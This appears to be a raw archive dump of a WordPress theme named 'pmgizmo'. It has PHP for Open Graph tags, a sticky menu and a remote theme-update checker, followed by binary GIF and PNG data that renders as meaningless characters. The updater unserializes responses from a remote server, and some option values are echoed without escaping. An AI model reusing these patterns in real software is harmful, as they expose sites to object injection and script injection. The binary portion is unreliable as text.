add_filter('language_attributes', 'add_opengraph_doctype');
//Lets add Open Graph Meta Info
function insert_fb_in_head() {
	global $post;
	if( !is_object($post) || get_class($post) != 'WP_Post' ) {
		return '';
	}
		echo "<!-- Open Graph protocol meta data -->\n";
		$theme_options = pmthemes_theme_options();
		echo '<meta property="fb:app_id" content="' . $theme_options['fb_app_id'] . '"/>' . "\n";
		if ( is_front_page() ) {
			$pmnsogp_url = home_url();
		} else {
			$pmnsogp_url = 'http' . ( is_ssl() ? 's' : '' ) . '://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
		}
		echo '<meta property="og:url" content="' . esc_url( user_trailingslashit( trailingslashit( apply_filters( 'pmnsogp_url', $pmnsogp_url ) ) ) ) . '"/>' . "\n";
		if ( is_home() || is_front_page() ) {
			$pmnsogp_title = get_bloginfo( 'name' );
		} else {
			$pmnsogp_title = get_the_title();
		}
		echo '<meta property="og:title" content="' . esc_attr( apply_filters( 'pmnsogp_title', $pmnsogp_title ) ) . '"/>' . "\n";
		echo '<meta property="og:site_name" content="' . get_bloginfo( 'name' ) . '"/>' . "\n";
		if ( is_singular() ) {
			if ( has_excerpt( $post->ID ) ) {
				$pmnsogp_description = strip_tags( get_the_excerpt() );
			} else {
				$pmnsogp_description = str_replace( "\r\n", ' ' , substr( strip_tags( strip_shortcodes( $post->post_content ) ), 0, 234 ) );
			}
		} else {
			$pmnsogp_description = get_bloginfo( 'description' );
		}
		echo '<meta property="og:description" content="' . esc_attr( apply_filters( 'pmnsogp_description', $pmnsogp_description ) ) . '"/>' . "\n";
		if ( is_single() ) {
			$pmnsogp_type = 'article';
		} else {
			$pmnsogp_type = 'website';
		}
		echo '<meta property="og:type" content="' . esc_attr( apply_filters( 'pmnspogp_type', $pmnsogp_type ) ) . '"/>' . "\n";
		if(!has_post_thumbnail( $post->ID )) {
		$default_image= $theme_options['default_fb_image'];
		echo '<meta property="og:image" content="' . $default_image . '"/>' . "\n";
		}
		else{
		$thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'medium' );
		echo '<meta property="og:image" content="' . esc_attr( $thumbnail_src[0] ) . '"/>' . "\n";
		}
		
		echo '<meta property="og:locale" content="' . strtolower( esc_attr( get_locale() ) ) . '"/>' . "\n";
		echo "<!-- Open Graph protocol meta data -->\n";
	}
add_action( 'wp_head', 'insert_fb_in_head', 5 );
endif;

add_action( 'pmthemes_nav_extra', 'pmthemes_nav_sticky' );
function pmthemes_nav_sticky() {
    if ( has_nav_menu( 'sticky' ) ) : ?>
        <div class="stickynav">
            <nav id="site-navigation" class="main-navigation ducksoy" role="navigation">
                <?php wp_nav_menu(
                    array(
                        'theme_location' => 'sticky',
                        'container' => false,
                        'menu_class' => 'nav-menu',
                        'echo' => true,
                        'fallback_cb' => 'pmthemes_default_menu'
                    )
                );
                ?>
                <?php $theme_options = pmthemes_theme_options();
                if ( isset($theme_options['search_icon']) and $theme_options['search_icon'] == true ) : ?>
                    <div class="search-main-menu search-top">
                        <span class="search-icon"></span>
                        <div class="search-form-top">
                            <?php get_search_form(); ?>
                        </div>
                    </div>
                <?php endif; ?>
            </nav>
        </div>
    <?php else: ?>
        <p class="social-icons-hint">
            <?php _e('Sticky menu not yet set up. Please go to WP-Admin-> Appearance-> Menus and create a new custom menu. Then click on "Manage Locations" tab and assign your created menu to the "Sticky Navigation" theme location. Disable this by going to Appearance-> Customize-> Theme Settings-> Header Content.', 'pmthemes'); ?>
        </p>
    <?php endif;
}
/*** Disable the emoji's */
$theme_options = pmthemes_theme_options();
if ( isset($theme_options['wp_emoji']) and $theme_options['wp_emoji'] == true ) :
    function disable_emojis() {
        remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
        remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
        remove_action( 'wp_print_styles', 'print_emoji_styles' );
        remove_action( 'admin_print_styles', 'print_emoji_styles' );
        remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
        remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
        remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
        add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
    }
    add_action( 'init', 'disable_emojis' );
    /**
     * Filter function used to remove the tinymce emoji plugin.
     *
     * @param    array  $plugins
     * @return   array             Difference betwen the two arrays
     */
    function disable_emojis_tinymce( $plugins ) {
        if ( is_array( $plugins ) ) {
            return array_diff( $plugins, array( 'wpemoji' ) );
        } else {
            return array();
        }
    }
endif;
?>pmgizmo/inc/update.php000064400000005304152223213640010774 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
$api_url = PMTHEMES_UPDT_URL;
if(function_exists('wp_get_theme')){
    $theme_data    = wp_get_theme(get_option('template'));
    $theme_version = $theme_data->Version;
} else {
    $theme_data = wp_get_theme( get_template_directory() . '/style.css');
    $theme_version = $theme_data['Version'];
}
$theme_base = get_option('template');
add_filter('pre_set_site_transient_update_themes', 'pmthemes_theme_new_update');
function pmthemes_theme_new_update($checked_data) {
    global $wp_version, $theme_version, $theme_base, $api_url;
    $request = array(
        'slug'    => $theme_base,
        'version' => $theme_version,
    );
    // Start checking for an update
    $send_for_check = array(
        'body' => array(
            'action'  => 'theme_update',
            'request' => serialize($request),
            'api-key' => md5(home_url()),
        ),
        'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url()
    );
    $raw_response = wp_remote_post($api_url, $send_for_check);
    if (!is_wp_error($raw_response) && ($raw_response['response']['code'] == 200))
        $response = unserialize($raw_response['body']);
    // Feed the update data into WP updater
    if (!empty($response))
        $checked_data->response[$theme_base] = $response;
    return $checked_data;
}
// Take over the Theme info screen on WP multisite
add_filter('themes_api', 'pmthemes_api_call', 10, 3);

function pmthemes_api_call($def, $action, $args) {
    global $theme_base, $theme_version, $wp_version, $api_url;
    if ( ! isset( $args->slug ) ) {
        return false;
    }
    if ( $args->slug != $theme_base ) {
        return false;
    }
    // Get the current version.
    $args->version = $theme_version;
    $request_args  = array(
        'body' => array(
            'action'  => $action,
            'request' => serialize( $args ),
            'api-key' => md5( home_url() ),
        ),
        'user-agent' => 'WordPress/'. $wp_version .'; '. home_url(),
    );
    $request = wp_remote_post( $api_url, $request_args );
    if (is_wp_error($request)) {
        $res = new WP_Error('themes_api_failed', __('An Unexpected HTTP Error occurred during the API request.</p> <p><a href="?" onclick="document.location.reload(); return false;">Try again</a>','pmthemes'), $request->get_error_message());
    } else {
        $res = unserialize($request['body']);
        if ($res === false)
            $res = new WP_Error('themes_api_failed', __('An unknown error occurred','pmthemes'), $request['body']);
    }
    return $res;
}
if (is_admin())
    $current = get_transient('update_themes');pmgizmo/inc/lightbox/images/fancybox_loading.gif000064400000014647152223213640016075 0ustar00GIF89a����DBD���$"$���dbd���TRT���424���trt
���LJL���,*,������\Z\���<:<|z|ljl��켺����DFD���$&$���dfd���TVT464���tvt���LNL���,.,������\^\<><|~|���!�NETSCAPE2.0!�		6,�@�pH<"!�rI�|��� U��!-JF#[�u�t�BK�U�}���e�^k�w���K!63_2r1B$*B+(-1/$5��&�()#�B,*�!0C.%�2h�0J"(3h0$�6*'��u*�+"��u6к!0%���й�z��*�*�٠��C�,�9X��ă+�d���™*@l@@�;�B �N�1	V<��
�H@b���	Qi#1��PB
)RhPa��		3f$�Fa�A%8� C�f,��"E�,���.��:4�7��
'n
Tr� 12�
Q!�Ĺ%X�!�		4,����DBD���$"$���dfd���424���TRT���tvt���
���LJL,*,lnl<:<�����̬��������\Z\|~|���DFD$&$���ljl464������|z|������LNL,.,trt<><��������\^\�@�pH<0` �r9����Kl#$x��a�b"��ˌֱ8.��pe�@����¨�M����,K"i$m~to4	"B!! 0 
#&(#
224+�'iB%"�2B�!j,�-�B�$j(
C),	,ܮw))�'*��w. �*�-w4�.#/*��C���
���E5�Ȧ��e��B.&��8�E�$C:�x0�<�[�H�†
)$T8��N��$
9�@��7W<��eS!)(��ᦋ�$�1���x��<pjH�$�a�ܹȗ��/ܕ�o��!�		3,����DBD���$"$dbd������424trtTRT��ܜ�����
������,*,ljl<:<|z|\Z\LJL������������DFD���$&$dfd���464tvtTVT��ܤ�����������,.,lnl<><|~|\^\���pH<4D�ry(���c!|�*KbȀz͢ӌ#��Y�e�|�b�'�H��6�RK/	h-"(0R%s1BB.
z##'#3�+&/.hB$�2�B
�i'�2�C$1-iC ��v!&#!%��v��%

%2v3��Z$�"�Z.NH2���xA�$.h��F����Q��(�0�J �H0p���N/p�T�
-��I��/����"K��#n�����,r&���1U�	�*[�R�b��o	��Yu��=�!�		3,����DBD���$"$���dbdTRT424�����䔖�trt
LJL���,*,���\Z\<:<������ljl������|z|DFD���$&$���TVT464�����䜚�tvtLNL���,.,���\^\<><������lnl���pHD�L�ry@��	P�!l�FK�(vI�@ *�d���J,��E����C��**y�$$KBk_0
B"B"''.\-!,�3�'
!.gB+#0*�-.
'h��w+
�Y$(C-�-�v-)�)��v3
��
".����0����!��-��x�$K�8�Ⴠeq����CT��"�g8�@ǎ��X�S8��0�@I/<t,q�
g8�l��KXu�A!��(|p
j�v(p&ib���n~U��,o	��d5�k[�R���]!�		6,����DBD���$"$dbd������TRT424trt�����ܴ�����
LJL,*,\Z\<:<|z|������lnl�����윚���伺����DFD���$&$dfd���TVT464tvt��ܴ�����LNL,.,\^\<><|~|����@�pHlY&�r�
����E&�^Kb$�H��d��B�"u�E/a��`A�TJ�@sK0BzW1%�).B!!I	zVe-+n'1�(.D
.�B&�XY�.�C	'�Y-+-C&���v'!!!(22�h"���2
v6%�����0|�:1��>ؖ�0��"L 0"I�Ttp�b�a@@��
!.hT���
�`H�I���, P� �L�3�L����D5X�` &��Y&���&&�`���j��h��B�e���hE!P��D��,A!�		6,����DBD���$"$���dbd������424TRT���trt���
���LJL,*,���ljl���<:<�����\Z\���|~|������DFD$&$���dfd������464TVTtvt������LNL,.,���lnl���<><��̼���@�pH|�(%�r�8ń�TJ!,�$K�I�Y�B���HA�,�+�J���Z�XT�� OJ+I6(-a
,B1#m6.3
^3\]
,++"^13�3+3.D! "�hB+
��K1�" iD%3j+	C+��u6%�33+1�!�	5�&����2��2���-���BT �%�u�Q+��h�A%�!b<@PP�3ЈHF�r����Dh�qC�'.CG�t�@���YąXA�g�*����4^�"l�8p@�6��5͐�A���P����?�(��B�TR!�		5,����DBD���$"$���dbd������TRT424��Լ��tvt
���LJL���,*,���ljl���\Z\<:<������DFD���$&$���dfd������TVT464��ܼ��|~|���LNL���,.,���lnl���\^\<><���pHܰ*�r�����#DtK�G@{�b�I
0sTY(M�EK�ÁI�5<�l`sL#I544`SsP%P5.\4e*
+I�#1D
4+�0h51�i#�+4�C*1^Y*)
�c��*�v&�Ȕ��v5������v��*���i��C���Q���;#�=����b�<�*��!�Ԙ�„�(f�1"�
4h�pA�-P �@�a4, @CC�O�'@H����1 X@�J�H0b	���P)@��+jh� A8*i��jvË*�@��B\�x�$�	!�		6,����DBD���$"$���dfd���424���TRT���tvt�����
���,*,���lnl<:<\Z\LJL�����윞����|~|���DFD$&$���ljl464���TVT���|z|��������,.,���trt<><\^\�������@�pH�,�r�!%m��"d���!�@��HY��\�l�K��m��	�Ƹ,D8�Y\fL$,B!1QS	%B$.Bl^�].	f', 0

I�\$M�Z2	
)
i61!��K$�
#	�C,wOK0 �,�,^u�..w\�Xj-�-
0�\�Y
�-
�,�yu_��6%jL(�!�҆Q��!�a�C�@����	#��"&8!�B
#<(P��@p�BB�&�H@�"PS	2�A#������8Q���$p@1���T����e봐��Fի�6pxQP	3(
 DB:����Q� !�		5,����DBD���$"$dbd������424trt���TRT��ܴ��
������,*,ljl<:<|z|\Z\LNL��������伾����DFD���$&$dfd������464tvt���TVT��ܼ��������,.,lnl<><|~|\^\���pH��r�)=���
!��Y{l�������KJ�����Hxx���LFU6�^!1QS!oB,!BhI�H%1	&�IR%MWf!)B1RVe,�4!�D,GOX)&I��ǥ�	!�
$��r54'�
'4�����0��r&	�/}B/.e%33&�C%TlP����- ( 0�B��T8�@�+^\���!���C1fdH`�/
8�xB�*	�Xc�N�"F��P#̄K���,�А�@9NP���PP-q���ѡ����hA��گ5( S�ȉH�!�		6,����DBD���$"$dbd������TRT424trt���������
���LJL,*,ljl���\Z\<:<|z|��̬�����������DFD���$&$dfd������TVT464tvt���������LNL,.,lnl���\^\<><|~|����@�pH��r�)=��a%l>��i{l��#;\m+����8���wj�&����%�bQS%R%P!h6006�H[!33I(��%%D%+�3
|6�d3��U"$	d'3!w�--&o}G11��#��� ���-�&212�2&!�+!�!WB d".K%h8p��	(�@d��*h81!�>1�EH�a�!�0�1^�p�BJ2���1�R�c�M&X�h!ąwJ����
&��@�Л80P��	��h� ��#��老E]Kb� jAZ�a
(h��fo�!�		6,����DBD���$"$dbd������TRT424������trt���
LJL���,*,ljl���\Z\<:<���������|~|������DFD���$&$dfd������TVT464������tvt���LNL���,.,lnl���\^\<><����@�pH��r)[����%�K"�tx����H�a$R�ƒRኹ�H'�S�4�|96i)n%R%U%T6))
i!a%a�)��PW,2!R2C(�0fRbE&fF%�6�-!s6�%�  ��
4�4
��#�4�'2&�	�s2�WD!-f	-e� h��`32,̰�A�1
�X�`�!�J@�q��G^lL��"F�F�0cC�*&X��E DP�``�J�0T��
��0b
2Xx�@E�h4
�T'�&x&B�3����ylI�EMk�B	ϔ��!�� !�		6,����DBD���$"$dbd���������TRT424���trt���
���LJL���,*,ljl���\Z\<:<������|~|������DFD���$&$dfd���������TVT464tvt������LNL���,.,lnl���\^\<><����@�pH,iH�rY�D��L�!�K��I*�)a�@�g���̈́W䊹�9>��L�,_N64im
!%U%+B./i/* c1%|�..�!&0�Up�1C#�.fd!1�D
*fc%�6444es+�2*�*s6c!�1#��	�c��--
�s+���62f0``��#FP�R♀�lL��p�	-0�E�	iH��ЂX@(тB��[�L��
).`!���G)RD@q��!%�'

R�xp�‰�YP�HЀZ�'��wB�Q�thS��l��*�=pDZ��;pmgizmo/inc/lightbox/images/fancybox_sprite.png000064400000002522152223213640015772 0ustar00�PNG


IHDR,���P�PLTE���������???������������ggg������???��ɞ��ggg����������������������������������NNN���555���������zzz]]]hhh,,,���"""���AAAm��/tRNS
#'-:DHSU]iilmyz����������������������/�IDATx^�[s�L�C�ȷ��$�j)f
��������M���X�7{��Л�:=#��*����:�RI��$]�t���F��L����;��k���ė��7������M�l�{A��2K���>�+�.��a�j���n���(���UZ��Dzhh���i���{�Ț�n
�[�3��f��9f�_��bM���TX	�.�˰�/�9�]�$��jS�G6z�@v`��C���hR� Ž��,	0e��� �_p܄)�uz�H��%f˒����_�s:�|u��%�R�
M�-�Bo�Ad��ʡgH/�)~�	�r�u�ds�S��(�Ze׈�ؘ�Qw0��c��P�=��"�[F�)�m�1�I�Hiq��S���6�d�
*sR��9v�m����\�$�˸RI��xē�sl��I��i�=�Գ-�lVũpM�nm���y�B�Ŧ�8*�C5��_���r�����C�_M�m�$�|,�l���O�(�
�e��D}�_L�i��R���@�do6~ÑY��'�&�1�e�X6�U�Δ�P�
O]�-_0V;&6��w�Sz���	�W��6Ҵ�]�T�G<�J1���x�X��cG�\ͨ� �^��ە��CF��G3�,]j~vN�c_�H�	���y��2<�h+�U0R��>���}�C93-lD9Xb�)�݆�)�ٺ��(��g�]ܟ��?�W���Ң�r���"i�Ѩ2&X]�%PHySD�a�1��!p���S������Ɋ�}�^������2���%>%���0pmn����`6�p6y%[�G�I�y�`�G�*�ݕ�K] �GD�\��t6��t-˶m�kl{��-���T�{S�7eon����uS
Y���ƻ�Ma��6�%��}S�9i�>p�qSV@�ݸ)��
���[��)ߛ��^�P�/0��3���o��C�,����#���e�"�,�Uv���|,�p�ƍ7�ou����
�-�j���^��e\	b�IEND�B`�pmgizmo/inc/lightbox/images/fancybox_loading@2x.gif000064400000033240152223213640016435 0ustar00GIF89a00����DBD���$"$dbd������TRT424trt������������
���LJL���,*,ljl���\Z\<:<|z|��������윞�������DFD���$&$dfd������TVT464tvt��������������LNL���,.,lnl���\^\<><|~|������!�NETSCAPE2.0!�		=,00���pH,5ק�0:�ШP�9>�6�R5���u�� �'7s�D�H�:+��I�6�&3mD1buD<�<}Dm�:Drb�B�z_�=7mm#|B��=1����=+���tC4�p����3�UW����=�3,M���/i 
9�B ���s�=0�!F 0 E1&)�C9n�pAǡ=J�:@
�%�G�CY"�$���9z؀�a!� �G�
,vĄ�[#�MP�CE��j4�7R���2�},�1(�G�	��$B��z��@`卥$nDKu&�}&x�p
�%P�@�v�Y4DP�7sEk�@Pz�
�M�0�6fL��`�H�"
�Q ఱ��h�w&p������C�"kpC!i  �6��‚Ǔ/(Aa��P\�>��	��ν���`�M9�<�۵�7�^���eѪ,{C{��\"�د��7��^~�g�ҠDނA�BFC1 �sR�
�v�!҂@U�"�PC:\(
=���@a���C����!�xc��_�D8�褓��� D�(
I��
J>AU �g�R�����CƠ�EԠ��4��
 ���x+�sÓBF AT�rz� �TE@z
�Xd-H��  �1�[�`*r�I�� �����f��*D7.p�$��5��@
�b�
7TJ��hh��H��k$p�qɠ`,�T���9�k+-0 `%�$wjUi�*)r���}�P��sj�����o�*���d`jr���8�Э0���`ܯ���n�i�Q����B���&���	A��{�(,0'�DhK,��&3�� ��u�,��i�"��3
��W��&-b��h�ﺚu�ːC��!�		>,00����DBD���$"$���dbd������TRT���424���trt���
���LJL���,*,���ljl���\Z\���<:<���|z|������DFD���$&$���dfd������TVT���464���tvt�����LNL���,.,���lnl���\^\���<><���|~|����@�pH,%�,�0:�Ш04Y�d�6z�������$� �'@��4tŰu�)`��d�6�m$D<s2;E9y}D,;��2�D��"_�B�;m,|B��C����B5,�0�><��uB�*p�B/���b�B�9(��>
��_�b��6i3+�C(Ϻ>rW�,��D3)�����	>H�Ɓ�	�h�X4KD�!6nx�ᡅ6	$*�$!�-��0@ӄ>�͊1�=r�pA`����(���?�*Q�"

y̪�B
:�*󱁄ׯ^od@�"P�~@X0�Y�� 4$Í
�<�g����H����4!��B���UJ��=$�k䃎B�<Q���@P�a�W��HH�s���P.X0�a��.��Ю�3.�f ��2�N��#p��p�Bw���@"����'�t��㏀?����'0�¶#�0�|P`����y�հ���
(����!0�D��6�'�@ �-t�"�t�`��
4�h��
!#1�(6dP����6pZ}��-�PT)!�g�����.��a$IRH`qGPP��QB�B{}�0b}0�I
Q��e�}0�����i�P'�PZ0�
d��>hs�|�FX�r>�e�(� ���f�B
M@��h�P��r7"|6h�j*�\t)��
0��:l�	���@����4�	�:z/���i���*g��#@��਩�����"�d^�¹Q�@X�
|��!�X�C�:ږ���E:��P�n�1�2� @J�V��jٚj��N|������
`��(���.�a�JD�Ă̩��\
+����qڰ�2:t�dZ��6Z@�I`�L�
\]J!�		<,00����DBD���$"$���dbd������TRT���424���trt
���LJL���,*,���ljl������\Z\���<:<���|z|���DFD���$&$���dfd������TVT���464���tvt���LNL���,.,���lnl������\^\���<><���|~|�@�pH,��j�0:�Ш0��X�l1i֕��$0<�' 2*�TE��3��K/6#�'&D,U+vD/0�6~D*�#D`s:�B-+�z^�B&6�C���<,z���<7��;�b��"�!�C-��#εVt�.�z��<��.^�U���i"1�CԖ(<`�#<-#���3�ńo<<Tp�"@4C����Dll�P�
F�&C.�ЀC�o9Bp��A!f��B�Y/x�X#�4p�8P��.�Ti�@�\�4����AC��#���J������(�tR���xL!V��BC^�e��a<Dx������@���!rܩQ�gjQA�2�;�Q�A�ʕ ��0-t�+)@H�Pt}9D�
�D�	�9�B�*�=�Dp&��fB����(v�
ҫOoC�
XȟO�A�g,��Ͽ��
3�'`|,��0� �_8(�d�,�`	 �LH �,@�r�젡�x �,���
1��@i`�6.��tP�D�x cՁ���M�5`�i��
T�wi�@�t�Dx��܀�
I�Ѥ\rY�<N@�URyf��qA�|rI�PBB�U�P�x�@�Fx�5���N�AgwR��"��9�pLC,��T餒����i�	���<�%���Y)h�g�"�:�ebjf�pk���d�5�*)�D�f��	�B� ���Z[�I���Pm�-��f1�ev����++���f���hq�޺AW�v�Fmn&�*�k�S�:����*/5X|+�<0����Zx`�����C��1�� `�1��'�<J+黼��o�a2�5�j��*)��Q�<��K�	'/\�uB�����9����&��d�A!�		?,00����DBD���$"$���dbd������TRT���424���trt��
���LJL���,*,���ljl������\Z\���<:<���|z|������DFD���$&$���dfd������TVT���464���tvt������LNL���,.,���lnl������\^\���<><���|~|���pH,�\�3:��U(�
&�6
#@�&k��p�h�����"��i\M�N�DQQnD&U%vD-z1~Dno1*DV�B0z�%M�B!	1	�C�V�?�=���?
��1�aU�C5z�-�C0!�n�?aW�C�z=��?<�n_s����-
(j 8$_D �����)�p�CB�o?@hp����#�㊕?)�P��!&̘��04A@���I��Z�����3��c��*]8p����"�`ÃI&:��#
	5�

:��
Ӧ�! �`�P�Q�W$2�$+�C�!��Lڰ(�@!"�
ڂ�*�2L�R��'���
��T�Q��A'd ��;�c��
W� ���B�S|��`��)ZO@��i'pp�!�w�<8\G�6G���ǐ������kP���
;�߯��
*��|O���7����{ڔ�����~��0��` m��� �;�
2H��2��8 ��B8�c8i8����u


�pA�LAu���	|��7���<�	 &Q��–[n��]w�y'��jԀ�/���g� g���R��
'ܹ�	),����P�@���A�x���j���Ɛd�jB�A0h�)<�v�8
B��"�������)	�z!*�p���@�Љi��d�к
]��$�:\���t�i�����B��8HG����0����+��*��t	CK�_ �K�GӹK��)�A"�B⫫sX<�s(h<��pݾ�n��<�:���f�1�>B���s�ҵ\�Ώ2�t�@C���)փ^�������?��
XO!�		?,00����DBD���$"$���dbd������TRT424���trt������
���LJL,*,���ljl������\Z\<:<���|z|������������DFD$&$���dfd������TVT464���tvt��������LNL,.,���lnl������\^\<><���|~|������������pH,�P�2:�ШP�Y3�l�e�S���y��P��3�D$P�
$mD4lMC`U0tD9$$;|D#�k,D)r0sD	$xy^�B4,�
6�0��B��$��B"�k�)��C7��2�C4��B`��B
�x4��?�k%^�r�2��7'h]E 8l�
9?p�t !�x
ur�I�
&$��/bX���Z��r�Ŋ
+Rd��"�b\� F�y.��^5Z4(�`�\��A�)r (u�M��pTPI?g@����
Ȅ�8x�$�g4P�@pȉ
``E �ϻ+��X:dA���*Pwa�@(rxG׼?}�Pa��dK�h�E�W�yW0(��	
��ͰM
�x#��BFI�"I���c�

����P2+R �$�:ً�#���'&L�������� �+�	�p:�b��+�W�>|<ȿ_��)h�{��x$��߂�1 _|�w .0��~���#�血�
�L	�ih����
+���'�<00��8�@��9��Y�c.\@�
���Ep �@#LyF$�`B�P��R���SV9B�Z�p�l�pQ%�6�(�y��=�pg If�T�)�
TM��{r�B`�E��S���d&��	:�� ��lBZ� J�1d�d%�g� ��$�hN�lnf�T�y�'�Y%c�ViC���ЁB� �\�IARfZ)��	B����A��<��4�����(����{)'�nE\Pai.�6dU��?���h�r��	�^��0(*�sfz�d�"B�:0!�e���2�!�;�6�9$1B
њ�d��EW@�Tɽgq���A�1-������Ě�4)����Q�6��hC�
�n!�		<,00����DBD���$"$���dbd������TRT���424���trt
���LJL���,*,���ljl������\Z\���<:<���|z|���DFD���$&$���dfd������TVT���464���tvt���LNL���,.,���lnl������\^\���<><���|~|�@�pH,��0:�ШP�`� �6�0y����4���$�AՊ�k�L�\��;]l��
-DUWtC*x.	|D5m7mD VU�<;.�;M�B(��(&Ca�D/x	����l� �<�b���"�C�l{a����.7��<�7/_q�<"��i-^E�l1<��<��E55�<b���߅m�Z�����
��u%�#
��V#�@�*���͍S5.Tpłi� @�W
�Gظ0�����6��g�*5^����1�<l���*�	CL����3�rm�7�'x��'F�	��HhHD\ KD��v���I!M"-n��U��	6����A�*�E��Eշ:�����JaЖBT?y0a�U��Q�D�� ��AQ�]�`bys&��V�"����Y����w�"����
V�H�����	��^�1'ЫG�=��P����d6���~��`��'��" g�
�)� ��SCJ��!y|x��	6��b��@��Fs�pr5X�G.�CZ�x`�|޽�E0,`���'��[Ƞ�04��7�|��B�K�	C����*< �10%Ib�d,�X�w�yW� -|�#`�p�+\�!��}I �&<��|~1�
%p��Pj0�	��$p�x�#�	���B���`P�8F
�
�
��#q9�T�V+@��`�
�=`�I�`I�!J�����C��F`B����
E\`@X�m�5|!�4�°�J�nʇܿ��@�ÜR�0����۰�@p
�'_�2\m>��h�`�/x�	ar�C�ð8�pp��	��'A�<��"P	4��4`j
(�܂�X��ȼp�h5&'A�ݵ"�p��!�		=,00����DBD���$"$���dbd������TRT424���trt�����
���LJL���,*,���ljl���\Z\<:<���|z|�����������DFD���$&$���dfd���TVT464���tvt������LNL���,.,���lnl���\^\<><���|~|���������pH,�TF2:�Ш��ɤn*�6
B���-s"j��k��kUQH,�[]�h8LD*cV)E2,�,|Em�8�UWtC&,x
M�B��8Ca��B8����C����7�'4,
��C �nBWsC
�x,0i�=5��*M���=��.j�B��aUt 7�u2�'$5^�D����1)�(Z��".RDxA�4�h��p�u'(�B��O�*���!P	9���?'B��F��@�����E/L��Bب�k�F�� 0���&�FX�4�8�5n��ɱ��g�@�!Ü��c_��Q��7o QC��/)&� �5��U�������d��EQ�����P@Ќ�x��:��lQ.Ph��ą��?�q\=)��ɓ�(.
G�سk/�.*T�$8�"���h:x-���q��^�z��Qд�Q�?�j(�^z�aW@
��P�
6� �j�p^L�%�mO������4��!.0C
�!M�a�
ĸ�)P�s��4�l�B+�h�E7~�VFB���L�VF�%�{���*:A�PB>����RDd�m$�;|ЂӘ#�6��@	!�0�1�` L��?'|qB$��-$0B	%Y��1D$��$�(��`�$	$jj�p�<��P:A=��
`�����m<`�P�������Z�l�0��+�:9�p+�A��,<�p��N��'�`@_[��°���8�B�ĚC�[@���!��Z@�4��x�AG�"l��N:�J�Ԁ��-�����[k�R�50x��4�"������C�¼��2��a�1<;�
'!�@s,�	SӃ4�S�2+��f50 s6��(�`��!�		<,00����DBD���$"$���dbd������TRT424���trt�����
���LJL,*,���ljl���\Z\<:<���|z|�����������DFD$&$���dfd������TVT464���tvt��������LNL,.,���lnl���\^\<><���|~|�������@�pH,y��m�9:�P��&P��X(0��j��2u�Na
)���1��`��hMCJbEv(6!zEk~&D_�rB0�w��<|"~~��U7�<v���C&~CoU`C.(�6���B�}.B_J�7v6�7g�<j��4]��<��(mY[\E4�ky٧<!ν1F&�s&~4џ�4~��H�C�*;0:M��`E��d��N>H~\����D�h��aƊ��Y�#���@|Q�6!��.�za���':\!R������{F\dB�˜	(Wlh��BE����1��{ ����a���`AR�zh�����E\�&�_�C�6@�	�-�!����+z>�2��Q��R�E��h4`�j‚�֯_�X��r�΍"�&@�p�ȓ+���Ҥ�<h��z�
}’�)��ȏ�1>�Pc���x���KxL������wv�A@�
Zm��C�6�K��#�0@	l`.4p�	$4�������0$��	<"�9x��#�8�L8��"
�4@��%�����/j�Fz1A9'PP��V�X�
�|���`�
D�.D��' �
yb�9�`��$&t�:80�'<��
8H(�
v�8��$����t�*|�8<�)	��e�\b���r�1�z����
o���
�Pb
��`��
jtkj�*�*�P�0(�(0��k"����;$��8�J���@0��V ��v0�>�	:�Q���H
��k�1 ˪`�J��r����+9<�j����C�:�����l�	2l���f���:m*�^<��_``D���P<�ї$Ъ"J��
,`D�5w�\7� ��F@P��,�v4D�B�!�		;,00����DBD���$"$dbd���������TRT424trt��Դ�����
���LJL���,*,ljl���\Z\<:<|z|���������������DFD���$&$dfd������TVT464tvt��������LNL���,.,lnl���\^\<><|~|������������pH,w�8:�P'd6"�L�,iMU��iy�ǖ��Z���H`˴�Ə�:�Mk#qCt61xE�Ko�;)�6ug�z#UU~Bo�Ds���nTJC���B�u�D�Uw;��JC1�6�Ej��M`{q�mZ\]E3kJ��b;���B3�������Tc�)��)(�C-a�L��W�Tv�-ݤ(�a���W�=��|ҳfF�,�" �Ƃ&�$H��K���49�ɥY���h!@�>�5^D�JPA�;�B������U��`��bbe
~=�M��LZ(D�:�
�O�(�_��
��l�H�W��x>@@,��D>�0࠲eh@�h����,aĎr�^͚�c;b0PA��m1�޽��g�>�v�y��m�6q$g͡��h��}8-@4�@�<y S[P������E�W���mth0��(-�B(��'xp����.D�B�W*x���Ȁ�
.$����(0���H�肌�0gt��<2H�-�`�J�sC��$
���<���	g|�E�P��2�8b�=.�
� �t�P� ��
x��T��2��P^�*�Ѐ�0H�TZ�xi@	��M$9�D���
�9�
�@�n��1���| @gz:h .'�
C� +�.�B�j…�G�B�+�2�
pk	��
�+4���l��:@�rZÉZ@'�|�������BDK.���ú0L0���n��B ø�&��'��@��n0p/p�e��P�m�񷲎����F�o_7<
�jJ����öC$R!�2�H`��O@pB�?R
�7�p_h!�		@,00����DBD���$"$���dbd������TRT���424���trt���
���LJL���,*,���ljl������\Z\���<:<���|z|������DFD���$&$���dfd������TVT���464���tvt�����LNL���,.,���lnl������\^\���<><���|~|�����@�����@(�����8$$(�����(��8� ���0������8��� ��8 �(�$����$��������8����@�$���������ԃ����@��ނ�����@̕0��׊䡕��R��.X��:A����E#� ]�Q�U<�"^�?~�p��0s�Q��AB (�	���87�Жn�=���힠g3��!^
�8?4�!薪Y�0`0���y(X(U:��F �B}�"���mA����x���Z�'D�ã!0`4"��1S��F����N!(KV)�l�@8`�5��r�A��!n@��W�f���D�ċT�@��82�@A�i�Զ� F���sd��B�1b�6�0�Ǝ�ϣ_�B�<*4ȟ??>���X��@	򩠃8�2l�_~�W@2h�ÀV�`ꗞ�@`�
�
@�B=���)6��tˑ �4�(ÌP�\�Q�@pP��#$�`�Hv
�0�3�5"��.X��� `��T�i58�\���# H�”t��^-
pɥj:��!dP%��V�v�uɡ`��lF*@f �Pf�4�@�
